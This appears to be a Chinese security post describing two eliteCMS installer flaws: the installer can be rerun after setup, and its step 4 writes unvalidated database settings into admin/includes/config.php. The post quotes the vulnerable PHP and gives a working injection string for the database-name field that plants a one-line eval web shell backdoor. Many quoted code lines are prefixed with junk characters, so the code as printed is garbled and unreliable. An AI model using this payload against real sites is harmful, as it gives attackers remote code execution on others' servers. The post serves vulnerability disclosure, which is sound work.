eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

...
8 v' B8 S. f- a- ~elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
* \( ?+ r8 _: @% p& S2 s! n+ h    $write = "<?php\n";
$ }0 i" a- Z/ T6 |    $write .= "/**\n";
( p! z; ^! C% b8 a+ [) _    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
$ F1 C9 `& b& |6 P( O) r( Q    $write .= "*\n";
8 h- U5 Q: H) ^( j, w    $write .= "*/\n";
5 y7 n3 y) r; W  t: w6 U. v+ C    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
+ v' r2 o9 e$ d+ Y& h% @9 }) w    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
0 C4 K9 B% q) i. C    $write .= "        \n";
# \4 Q) Z+ X; u) X! r# y    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
, Q/ y' x0 k, c1 n9 c/ a+ q    $write .= "        \n";
' V. K  d) K# d/ P; B& a: K" d    $write .= "} \n";
8 e5 t" [: W* T! n6 q    $write .= "?>\n";

  H/ c* P  U* N( p1 M# p2 ~% S    $writer = fopen($file, 'w');
& E* r1 O' `. E, M2 ]...
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在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
' V7 U9 q+ w/ l) w2 Y+ @( G4 H% `$_SESSION['DB_USER'] = $_POST['DB_USER'];
, Q4 ^. ?) i5 c3 Q. |0 R+ B6 t/ G9 v$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
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将导致一句话后门写入/admin/includes/config.php
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